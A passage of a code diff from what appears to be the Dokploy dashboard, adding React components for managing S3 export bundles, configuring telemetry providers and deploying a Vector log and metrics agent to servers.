||||
const { mutateAsync: verify, isPending } =
|
||||
api.projectExportImport.verifyBundlePassphrase.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
const handleCheck = async () => {
|
||||
try {
|
||||
const outcome = await verify({
|
||||
destinationId,
|
||||
key: bundleKey,
|
||||
passphrase,
|
||||
});
|
||||
setResult(
|
||||
!outcome.checked
|
||||
? "This bundle can't be checked without downloading it (older format)."
|
||||
: outcome.valid
|
||||
? "The passphrase is valid for this bundle."
|
||||
: "Wrong passphrase for this bundle.",
|
||||
);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog
|
||||
open={open}
|
||||
onOpenChange={(next) => {
|
||||
setOpen(next);
|
||||
if (!next) {
|
||||
setPassphrase("");
|
||||
setResult(null);
|
||||
}
|
||||
}}
|
||||
>
|
||||
<DialogTrigger asChild>
|
||||
<Button variant="ghost" size="sm" title="Check passphrase">
|
||||
<KeyRound className="h-4 w-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-md">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Check passphrase</DialogTitle>
|
||||
<DialogDescription className="break-all font-mono text-xs">
|
||||
{bundleKey}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
<PassphraseField
|
||||
id="check-passphrase"
|
||||
label="Passphrase"
|
||||
value={passphrase}
|
||||
onChange={setPassphrase}
|
||||
/>
|
||||
{result && <p className="text-sm">{result}</p>}
|
||||
<Button
|
||||
isLoading={isPending}
|
||||
disabled={passphrase.length < MIN_PASSPHRASE_LENGTH}
|
||||
onClick={handleCheck}
|
||||
>
|
||||
Check
|
||||
</Button>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
|
||||
export const ShowExports = () => {
|
||||
const [destinationId, setDestinationId] = useState("");
|
||||
const [exportOpen, setExportOpen] = useState(false);
|
||||
const bundles = api.projectExportImport.listRemoteBundles.useQuery(
|
||||
{ destinationId },
|
||||
{ enabled: !!destinationId },
|
||||
);
|
||||
const {
|
||||
mutateAsync: deleteBundle,
|
||||
isPending: isDeleting,
|
||||
variables: deleting,
|
||||
} = api.projectExportImport.deleteRemoteBundle.useMutation({
|
||||
onSuccess: () => {
|
||||
toast.success("Bundle deleted");
|
||||
void bundles.refetch();
|
||||
},
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl w-full">
|
||||
<div className="rounded-xl bg-background shadow-md">
|
||||
<CardHeader>
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Package className="size-6 text-muted-foreground self-center" />
|
||||
Exports
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Project bundles stored under dokploy-export-import/ in your S3
|
||||
destinations. Export a project or the whole organization, then
|
||||
download, check or delete the bundles from here.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-4 py-8 border-t">
|
||||
<div className="grid gap-3 sm:grid-cols-[minmax(0,1fr)_auto_auto] sm:items-end">
|
||||
<DestinationSelect
|
||||
value={destinationId}
|
||||
onChange={setDestinationId}
|
||||
/>
|
||||
<Dialog
|
||||
open={exportOpen}
|
||||
onOpenChange={(next) => {
|
||||
setExportOpen(next);
|
||||
if (!next) void bundles.refetch();
|
||||
}}
|
||||
>
|
||||
<DialogTrigger asChild>
|
||||
<Button disabled={!destinationId}>
|
||||
<UploadCloud className="mr-2 h-4 w-4" />
|
||||
Export
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
|
||||
{exportOpen && (
|
||||
<ExportDialogBody
|
||||
destinationId={destinationId}
|
||||
onClose={() => {
|
||||
setExportOpen(false);
|
||||
void bundles.refetch();
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
<ImportProject />
|
||||
</div>
|
||||
|
||||
{!destinationId && (
|
||||
<p className="text-sm text-muted-foreground">
|
||||
Pick a destination to list the bundles stored in it.
|
||||
</p>
|
||||
)}
|
||||
<BundleListState query={bundles} />
|
||||
{bundles.data && bundles.data.length > 0 && (
|
||||
<div className="flex flex-col gap-2">
|
||||
{bundles.data.map((bundle) => (
|
||||
<div
|
||||
key={bundle.key}
|
||||
className="flex items-center justify-between gap-3 rounded-lg border bg-background p-3"
|
||||
>
|
||||
<div className="min-w-0">
|
||||
<p className="truncate font-mono text-sm">
|
||||
{bundle.key.split("/").at(-1)}
|
||||
</p>
|
||||
<BundleMeta size={bundle.size} modTime={bundle.modTime} />
|
||||
</div>
|
||||
<div className="flex shrink-0 items-center gap-1">
|
||||
<Button variant="outline" size="sm" asChild>
|
||||
<a
|
||||
href={`/api/project-export-import/bundle?destinationId=${encodeURIComponent(destinationId)}&key=${encodeURIComponent(bundle.key)}`}
|
||||
>
|
||||
<Download className="mr-2 h-4 w-4" />
|
||||
Download
|
||||
</a>
|
||||
</Button>
|
||||
<CheckPassphrase
|
||||
destinationId={destinationId}
|
||||
bundleKey={bundle.key}
|
||||
/>
|
||||
<DialogAction
|
||||
title="Delete bundle"
|
||||
description={`This removes ${bundle.key} from the destination. It can't be undone.`}
|
||||
onClick={() =>
|
||||
deleteBundle({ destinationId, key: bundle.key })
|
||||
}
|
||||
>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
isLoading={isDeleting && deleting?.key === bundle.key}
|
||||
className="text-destructive"
|
||||
>
|
||||
<Trash2 className="h-4 w-4" />
|
||||
</Button>
|
||||
</DialogAction>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</div>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
};
|
||||
+575
@@ -0,0 +1,575 @@
|
||||
import type {
|
||||
TelemetryProviderType,
|
||||
TelemetrySignal,
|
||||
} from "@dokploy/server/services/logs-and-metrics/types";
|
||||
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||
import { PenBoxIcon, PlusIcon } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { telemetryProviderIcons } from "@/components/icons/telemetry-provider-icons";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
const TOP_LEVEL_KEYS = new Set(["endpoint", "apiKey", "apiSecret"]);
|
||||
|
||||
const SIGNAL_OPTIONS: Array<{
|
||||
value: string;
|
||||
label: string;
|
||||
signals: TelemetrySignal[];
|
||||
}> = [
|
||||
{ value: "logs", label: "Logs", signals: ["logs"] },
|
||||
{ value: "metrics", label: "Metrics", signals: ["metrics"] },
|
||||
{
|
||||
value: "logs,metrics",
|
||||
label: "Logs & Metrics",
|
||||
signals: ["logs", "metrics"],
|
||||
},
|
||||
];
|
||||
|
||||
const providerForm = z.object({
|
||||
name: z.string().min(1, "Name is required"),
|
||||
providerType: z.string().min(1, "Provider is required"),
|
||||
signals: z.string().min(1, "Select what this provider sends"),
|
||||
enabled: z.boolean(),
|
||||
fields: z.record(z.string(), z.string().optional()),
|
||||
});
|
||||
|
||||
type ProviderForm = z.infer<typeof providerForm>;
|
||||
|
||||
const toSignals = (value: string) =>
|
||||
SIGNAL_OPTIONS.find((option) => option.value === value)?.signals ?? [];
|
||||
|
||||
interface Props {
|
||||
telemetryProviderId?: string;
|
||||
}
|
||||
|
||||
export const agentsUsingProvider = (
|
||||
targets:
|
||||
| Array<{
|
||||
name: string;
|
||||
telemetryProviderIds: string[];
|
||||
}>
|
||||
| undefined,
|
||||
telemetryProviderId: string,
|
||||
) =>
|
||||
(targets ?? [])
|
||||
.filter((target) =>
|
||||
target.telemetryProviderIds.includes(telemetryProviderId),
|
||||
)
|
||||
.map((target) => target.name)
|
||||
.join(", ");
|
||||
|
||||
export const HandleTelemetryProvider = ({ telemetryProviderId }: Props) => {
|
||||
const utils = api.useUtils();
|
||||
const [isOpen, setIsOpen] = useState(false);
|
||||
const [initialFields, setInitialFields] = useState<Record<string, string>>(
|
||||
{},
|
||||
);
|
||||
const [clearedKeys, setClearedKeys] = useState<Record<string, boolean>>({});
|
||||
|
||||
const { data: availableTypes } =
|
||||
api.telemetryProvider.availableTypes.useQuery();
|
||||
const { data: provider } = api.telemetryProvider.one.useQuery(
|
||||
{ telemetryProviderId: telemetryProviderId || "" },
|
||||
{ enabled: !!telemetryProviderId, refetchOnWindowFocus: false },
|
||||
);
|
||||
|
||||
const createMutation = api.telemetryProvider.create.useMutation();
|
||||
const updateMutation = api.telemetryProvider.update.useMutation();
|
||||
const {
|
||||
isPending: isSaving,
|
||||
error,
|
||||
isError,
|
||||
} = telemetryProviderId ? updateMutation : createMutation;
|
||||
const {
|
||||
mutateAsync: testConnection,
|
||||
isPending: isTestingRaw,
|
||||
error: testError,
|
||||
isError: testIsError,
|
||||
} = api.telemetryProvider.testConnection.useMutation();
|
||||
const {
|
||||
mutateAsync: testConnectionById,
|
||||
isPending: isTestingById,
|
||||
error: testByIdError,
|
||||
isError: testByIdIsError,
|
||||
} = api.telemetryProvider.testConnectionById.useMutation();
|
||||
|
||||
const form = useForm<ProviderForm>({
|
||||
defaultValues: {
|
||||
name: "",
|
||||
providerType: "",
|
||||
signals: "",
|
||||
enabled: true,
|
||||
fields: {},
|
||||
},
|
||||
resolver: zodResolver(providerForm),
|
||||
});
|
||||
|
||||
const providerType = form.watch("providerType");
|
||||
const signalsValue = form.watch("signals");
|
||||
const fieldValues = form.watch("fields");
|
||||
const signals = toSignals(signalsValue);
|
||||
|
||||
const selectedType = availableTypes?.find((t) => t.type === providerType);
|
||||
const signalOptions = SIGNAL_OPTIONS.filter((option) =>
|
||||
option.signals.every((s) => selectedType?.signals.includes(s)),
|
||||
);
|
||||
const visibleFields = (selectedType?.credentialFields ?? []).filter(
|
||||
(field) => !field.signal || signals.includes(field.signal),
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
if (provider) {
|
||||
const extraConfig = (provider.extraConfig ?? {}) as Record<
|
||||
string,
|
||||
string
|
||||
>;
|
||||
form.reset({
|
||||
name: provider.name,
|
||||
providerType: provider.providerType,
|
||||
signals: provider.signals.join(","),
|
||||
enabled: provider.enabled,
|
||||
fields: extraConfig,
|
||||
});
|
||||
setInitialFields(extraConfig);
|
||||
} else {
|
||||
form.reset();
|
||||
setInitialFields({});
|
||||
}
|
||||
setClearedKeys({});
|
||||
}, [form, provider, isOpen]);
|
||||
|
||||
const buildPayload = () => {
|
||||
const payload: {
|
||||
name: string;
|
||||
providerType: TelemetryProviderType;
|
||||
signals: TelemetrySignal[];
|
||||
enabled: boolean;
|
||||
endpoint?: string | null;
|
||||
apiKey?: string | null;
|
||||
apiSecret?: string | null;
|
||||
extraConfig?: Record<string, string>;
|
||||
} = {
|
||||
name: form.getValues("name"),
|
||||
providerType: providerType as TelemetryProviderType,
|
||||
signals,
|
||||
enabled: form.getValues("enabled"),
|
||||
};
|
||||
const extraConfig: Record<string, string> = {};
|
||||
let hasExtraConfigFields = false;
|
||||
for (const field of visibleFields) {
|
||||
const value = fieldValues[field.key] ?? "";
|
||||
if (
|
||||
field.key === "endpoint" ||
|
||||
field.key === "apiKey" ||
|
||||
field.key === "apiSecret"
|
||||
) {
|
||||
if (value) {
|
||||
payload[field.key] = value;
|
||||
} else if (clearedKeys[field.key]) {
|
||||
payload[field.key] = null;
|
||||
}
|
||||
} else {
|
||||
hasExtraConfigFields = true;
|
||||
extraConfig[field.key] = value;
|
||||
}
|
||||
}
|
||||
if (hasExtraConfigFields) {
|
||||
payload.extraConfig = extraConfig;
|
||||
}
|
||||
return payload;
|
||||
};
|
||||
|
||||
// Required fields are per type and signal, so zod can't know them up front.
|
||||
const validateRequiredFields = () => {
|
||||
let valid = true;
|
||||
for (const field of visibleFields) {
|
||||
const value = fieldValues[field.key] ?? "";
|
||||
const keepsStored =
|
||||
!!telemetryProviderId &&
|
||||
TOP_LEVEL_KEYS.has(field.key) &&
|
||||
!clearedKeys[field.key];
|
||||
if (field.required && !value && !keepsStored) {
|
||||
form.setError(`fields.${field.key}`, {
|
||||
message: `${field.label} is required`,
|
||||
});
|
||||
valid = false;
|
||||
}
|
||||
}
|
||||
return valid;
|
||||
};
|
||||
|
||||
const topLevelKeys = visibleFields
|
||||
.filter((field) => TOP_LEVEL_KEYS.has(field.key))
|
||||
.map((field) => field.key);
|
||||
const touchedTopLevelKeys = topLevelKeys.filter(
|
||||
(key) => !!fieldValues[key] || clearedKeys[key],
|
||||
);
|
||||
const touchedExtraConfigKeys = visibleFields
|
||||
.filter((field) => !TOP_LEVEL_KEYS.has(field.key))
|
||||
.map((field) => field.key)
|
||||
.filter((key) => (fieldValues[key] ?? "") !== (initialFields[key] ?? ""));
|
||||
const touchedAnyCredentialField =
|
||||
touchedTopLevelKeys.length > 0 || touchedExtraConfigKeys.length > 0;
|
||||
const isPartiallyTouched =
|
||||
!!telemetryProviderId &&
|
||||
touchedAnyCredentialField &&
|
||||
touchedTopLevelKeys.length < topLevelKeys.length;
|
||||
const signalsChanged =
|
||||
!!provider && signalsValue !== provider.signals.join(",");
|
||||
|
||||
const showTestResult = (result: { warning?: string }) => {
|
||||
if (result.warning) {
|
||||
toast.message(result.warning);
|
||||
} else {
|
||||
toast.success("Connection tested successfully");
|
||||
}
|
||||
};
|
||||
|
||||
const onTest = async () => {
|
||||
if (!(await form.trigger(["providerType", "signals"]))) return;
|
||||
if (telemetryProviderId && !touchedAnyCredentialField) {
|
||||
await testConnectionById({
|
||||
telemetryProviderId,
|
||||
...(signalsChanged ? { signals } : {}),
|
||||
})
|
||||
.then(showTestResult)
|
||||
.catch((e) => {
|
||||
toast.error(
|
||||
e instanceof Error ? e.message : "Connection test failed",
|
||||
);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (!validateRequiredFields()) return;
|
||||
await testConnection(buildPayload())
|
||||
.then(showTestResult)
|
||||
.catch((e) => {
|
||||
toast.error(e instanceof Error ? e.message : "Connection test failed");
|
||||
});
|
||||
};
|
||||
|
||||
const onSubmit = async () => {
|
||||
if (!validateRequiredFields()) return;
|
||||
const payload = buildPayload();
|
||||
let warning: string | undefined;
|
||||
let reapplied = false;
|
||||
try {
|
||||
if (telemetryProviderId) {
|
||||
const result = await updateMutation.mutateAsync({
|
||||
telemetryProviderId,
|
||||
...payload,
|
||||
});
|
||||
warning = result.warning;
|
||||
reapplied = result.reapplied;
|
||||
} else {
|
||||
await createMutation.mutateAsync(payload);
|
||||
}
|
||||
} catch {
|
||||
toast.error(
|
||||
telemetryProviderId
|
||||
? "Error updating provider"
|
||||
: "Error adding provider",
|
||||
);
|
||||
return;
|
||||
}
|
||||
utils.telemetryProvider.all.invalidate();
|
||||
utils.telemetryProvider.serverStatus.invalidate();
|
||||
if (telemetryProviderId) {
|
||||
utils.telemetryProvider.one.invalidate({ telemetryProviderId });
|
||||
}
|
||||
const agents =
|
||||
telemetryProviderId &&
|
||||
agentsUsingProvider(
|
||||
utils.telemetryProvider.serverStatus.getData(),
|
||||
telemetryProviderId,
|
||||
);
|
||||
if (warning) {
|
||||
toast.warning("Provider updated", { description: warning });
|
||||
} else {
|
||||
toast.success(
|
||||
telemetryProviderId ? "Provider updated" : "Provider added",
|
||||
reapplied && agents
|
||||
? { description: `The Vector agent on ${agents} was re-applied.` }
|
||||
: undefined,
|
||||
);
|
||||
}
|
||||
setIsOpen(false);
|
||||
};
|
||||
|
||||
const isTesting = isTestingRaw || isTestingById;
|
||||
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={setIsOpen}>
|
||||
<DialogTrigger asChild>
|
||||
{telemetryProviderId ? (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="group hover:bg-blue-500/10 "
|
||||
>
|
||||
<PenBoxIcon className="size-3.5 text-primary group-hover:text-blue-500" />
|
||||
</Button>
|
||||
) : (
|
||||
<Button className="cursor-pointer space-x-3">
|
||||
<PlusIcon className="h-4 w-4" />
|
||||
Add provider
|
||||
</Button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-lg max-h-[85vh] overflow-y-auto">
|
||||
<DialogHeader>
|
||||
<DialogTitle>
|
||||
{telemetryProviderId ? "Edit provider" : "Add a provider"}
|
||||
</DialogTitle>
|
||||
<DialogDescription>
|
||||
Vector ships container logs and host/container metrics from every
|
||||
server you deploy it on to this provider.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
{(isError || testIsError || testByIdIsError) && (
|
||||
<AlertBlock type="error" className="w-full">
|
||||
{testError?.message || testByIdError?.message || error?.message}
|
||||
</AlertBlock>
|
||||
)}
|
||||
|
||||
<Form {...form}>
|
||||
<form
|
||||
id="hook-form-telemetry-provider"
|
||||
onSubmit={form.handleSubmit(onSubmit)}
|
||||
className="grid w-full gap-4"
|
||||
>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="name"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Name</FormLabel>
|
||||
<FormControl>
|
||||
<Input placeholder="e.g. Production Loki" {...field} />
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="providerType"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Provider</FormLabel>
|
||||
<Select
|
||||
value={field.value}
|
||||
onValueChange={(value) => {
|
||||
field.onChange(value);
|
||||
form.setValue("signals", "");
|
||||
form.setValue("fields", {});
|
||||
form.clearErrors();
|
||||
}}
|
||||
disabled={!!telemetryProviderId}
|
||||
>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select a provider" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{availableTypes?.map((type) => {
|
||||
const ProviderIcon =
|
||||
telemetryProviderIcons[
|
||||
type.type as keyof typeof telemetryProviderIcons
|
||||
];
|
||||
return (
|
||||
<SelectItem key={type.type} value={type.type}>
|
||||
<div className="flex flex-row items-center gap-2">
|
||||
{ProviderIcon && (
|
||||
<ProviderIcon className="size-4 shrink-0" />
|
||||
)}
|
||||
{type.label}
|
||||
</div>
|
||||
</SelectItem>
|
||||
);
|
||||
})}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
{selectedType && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="signals"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Sends</FormLabel>
|
||||
<Select value={field.value} onValueChange={field.onChange}>
|
||||
<FormControl>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select what this provider sends" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{signalOptions.map((option) => (
|
||||
<SelectItem key={option.value} value={option.value}>
|
||||
{option.label}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
|
||||
{visibleFields.map((credentialField) => (
|
||||
<FormField
|
||||
key={credentialField.key}
|
||||
control={form.control}
|
||||
name={`fields.${credentialField.key}`}
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>
|
||||
{credentialField.label}
|
||||
{!credentialField.required && " (Optional)"}
|
||||
</FormLabel>
|
||||
{credentialField.helpText && (
|
||||
<FormDescription>
|
||||
{credentialField.helpText}
|
||||
</FormDescription>
|
||||
)}
|
||||
<div className="flex flex-row gap-2">
|
||||
<FormControl>
|
||||
<Input
|
||||
type={
|
||||
credentialField.type === "password"
|
||||
? "password"
|
||||
: "text"
|
||||
}
|
||||
disabled={!!clearedKeys[credentialField.key]}
|
||||
placeholder={
|
||||
clearedKeys[credentialField.key]
|
||||
? "Will be cleared on update"
|
||||
: telemetryProviderId &&
|
||||
TOP_LEVEL_KEYS.has(credentialField.key)
|
||||
? "Leave blank to keep existing"
|
||||
: credentialField.placeholder
|
||||
}
|
||||
autoComplete={
|
||||
credentialField.type === "password"
|
||||
? "new-password"
|
||||
: "off"
|
||||
}
|
||||
{...field}
|
||||
value={field.value ?? ""}
|
||||
/>
|
||||
</FormControl>
|
||||
{telemetryProviderId &&
|
||||
TOP_LEVEL_KEYS.has(credentialField.key) &&
|
||||
!credentialField.required && (
|
||||
<Button
|
||||
type="button"
|
||||
variant="outline"
|
||||
onClick={() => {
|
||||
setClearedKeys((prev) => ({
|
||||
...prev,
|
||||
[credentialField.key]:
|
||||
!prev[credentialField.key],
|
||||
}));
|
||||
field.onChange("");
|
||||
}}
|
||||
>
|
||||
{clearedKeys[credentialField.key]
|
||||
? "Keep"
|
||||
: "Clear"}
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
))}
|
||||
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="enabled"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center gap-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel>Enabled</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</form>
|
||||
</Form>
|
||||
|
||||
<DialogFooter className="flex flex-col w-full sm:justify-between gap-4 flex-wrap sm:flex-col">
|
||||
{isPartiallyTouched && (
|
||||
<span className="text-xs text-muted-foreground">
|
||||
You changed something that needs a fresh credential to test — fill
|
||||
in every credential field to test with the new values, or revert
|
||||
it to test with what's already saved.
|
||||
</span>
|
||||
)}
|
||||
<div className="flex flex-row gap-2 justify-between">
|
||||
<Button
|
||||
type="button"
|
||||
variant="secondary"
|
||||
isLoading={isTesting}
|
||||
disabled={!providerType || isPartiallyTouched}
|
||||
onClick={onTest}
|
||||
>
|
||||
Test connection
|
||||
</Button>
|
||||
<Button
|
||||
type="submit"
|
||||
form="hook-form-telemetry-provider"
|
||||
isLoading={isSaving}
|
||||
disabled={isSaving}
|
||||
>
|
||||
{telemetryProviderId ? "Update" : "Create"}
|
||||
</Button>
|
||||
</div>
|
||||
</DialogFooter>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,361 @@
|
||||
import { Copy, Loader2, Server } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { telemetryProviderIcons } from "@/components/icons/telemetry-provider-icons";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { DialogAction } from "@/components/shared/dialog-action";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
CardDescription,
|
||||
CardHeader,
|
||||
CardTitle,
|
||||
} from "@/components/ui/card";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
type Status = "running" | "not-running" | "stopped" | "unknown";
|
||||
|
||||
const statusBadge = (status: Status) => {
|
||||
if (status === "running") {
|
||||
return <Badge variant="green">Running</Badge>;
|
||||
}
|
||||
if (status === "not-running") {
|
||||
return <Badge variant="yellow">Not running</Badge>;
|
||||
}
|
||||
if (status === "stopped") {
|
||||
return <Badge variant="secondary">Not deployed</Badge>;
|
||||
}
|
||||
return <Badge variant="destructive">Unreachable</Badge>;
|
||||
};
|
||||
|
||||
export const providerLabel = (provider: { name: string; signals: string[] }) =>
|
||||
`${provider.name} (${provider.signals.length === 2 ? "logs and metrics" : provider.signals[0]})`;
|
||||
|
||||
export const ShowServers = () => {
|
||||
const utils = api.useUtils();
|
||||
const [selection, setSelection] = useState<Record<string, string[]>>({});
|
||||
const [pendingTarget, setPendingTarget] = useState<string | null>(null);
|
||||
const [errors, setErrors] = useState<
|
||||
Record<string, { title: string; message: string }>
|
||||
>({});
|
||||
|
||||
const { data: providers } = api.telemetryProvider.all.useQuery();
|
||||
const { data: targets, isPending } =
|
||||
api.telemetryProvider.serverStatus.useQuery(undefined, {
|
||||
refetchOnWindowFocus: false,
|
||||
staleTime: 30_000,
|
||||
trpc: { context: { skipBatch: true } },
|
||||
});
|
||||
|
||||
const { mutateAsync: deployOnServer } =
|
||||
api.telemetryProvider.deployOnServer.useMutation();
|
||||
const { mutateAsync: removeOnServer } =
|
||||
api.telemetryProvider.removeOnServer.useMutation();
|
||||
|
||||
const keyOf = (serverId: string | null) => serverId ?? "local";
|
||||
|
||||
// The selection can still hold providers deleted since it was made.
|
||||
const idsFor = (serverId: string | null, saved: string[]) => {
|
||||
const ids = selection[keyOf(serverId)] ?? saved;
|
||||
return providers
|
||||
? ids.filter((id) => providers.some((p) => p.telemetryProviderId === id))
|
||||
: ids;
|
||||
};
|
||||
|
||||
const toggleProvider = (
|
||||
serverId: string | null,
|
||||
saved: string[],
|
||||
telemetryProviderId: string,
|
||||
) => {
|
||||
const key = keyOf(serverId);
|
||||
const current = idsFor(serverId, saved);
|
||||
setSelection({
|
||||
...selection,
|
||||
[key]: current.includes(telemetryProviderId)
|
||||
? current.filter((id) => id !== telemetryProviderId)
|
||||
: [...current, telemetryProviderId],
|
||||
});
|
||||
};
|
||||
|
||||
const setError = (
|
||||
serverId: string | null,
|
||||
error?: { title: string; message: string },
|
||||
) =>
|
||||
setErrors((prev) => {
|
||||
const next = { ...prev };
|
||||
if (error) {
|
||||
next[keyOf(serverId)] = error;
|
||||
} else {
|
||||
delete next[keyOf(serverId)];
|
||||
}
|
||||
return next;
|
||||
});
|
||||
|
||||
// The task is still starting right after a deploy, so look again once it had time to come up.
|
||||
const refreshStatus = () => {
|
||||
utils.telemetryProvider.serverStatus.invalidate();
|
||||
setTimeout(() => utils.telemetryProvider.serverStatus.invalidate(), 8_000);
|
||||
};
|
||||
|
||||
const handleDeploy = async (serverId: string | null, ids: string[]) => {
|
||||
setPendingTarget(keyOf(serverId));
|
||||
setError(serverId);
|
||||
await deployOnServer({ serverId, providerIds: ids })
|
||||
.then(() => {
|
||||
toast.success("Vector agent deployed");
|
||||
refreshStatus();
|
||||
})
|
||||
.catch((error) => {
|
||||
setError(serverId, {
|
||||
title: "Deploy failed",
|
||||
message:
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Failed to deploy the agent",
|
||||
});
|
||||
refreshStatus();
|
||||
})
|
||||
.finally(() => setPendingTarget(null));
|
||||
};
|
||||
|
||||
const handleRemove = async (serverId: string | null) => {
|
||||
setPendingTarget(keyOf(serverId));
|
||||
setError(serverId);
|
||||
await removeOnServer({ serverId })
|
||||
.then(() => {
|
||||
toast.success("Vector agent removed");
|
||||
setSelection((prev) => ({ ...prev, [keyOf(serverId)]: [] }));
|
||||
refreshStatus();
|
||||
})
|
||||
.catch((error) => {
|
||||
setError(serverId, {
|
||||
title: "Remove failed",
|
||||
message:
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Failed to remove the agent",
|
||||
});
|
||||
refreshStatus();
|
||||
})
|
||||
.finally(() => setPendingTarget(null));
|
||||
};
|
||||
|
||||
const hasProviders = (providers?.length ?? 0) > 0;
|
||||
const visibleTargets = hasProviders
|
||||
? targets
|
||||
: targets?.filter(
|
||||
(target) =>
|
||||
target.telemetryProviderIds.length > 0 ||
|
||||
target.status === "running" ||
|
||||
target.status === "not-running",
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="w-full">
|
||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
||||
<div className="rounded-xl bg-background shadow-md">
|
||||
<CardHeader>
|
||||
<CardTitle className="text-xl flex flex-row gap-2">
|
||||
<Server className="size-6 text-muted-foreground self-center" />
|
||||
Servers
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Pick which providers each server ships to, then deploy its Vector
|
||||
agent; a provider receives every signal it sends, and cAdvisor
|
||||
runs next to the agent on 127.0.0.1:4510 when metrics are shipped.
|
||||
Services deployed before Logs & Metrics need a redeploy to get the
|
||||
labels it uses; until then their logs and container metrics are
|
||||
not shipped from the Dokploy server.
|
||||
</CardDescription>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2 py-8 border-t">
|
||||
{isPending ? (
|
||||
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[15vh]">
|
||||
<span>Checking servers...</span>
|
||||
<Loader2 className="animate-spin size-4" />
|
||||
</div>
|
||||
) : !hasProviders && !visibleTargets?.length ? (
|
||||
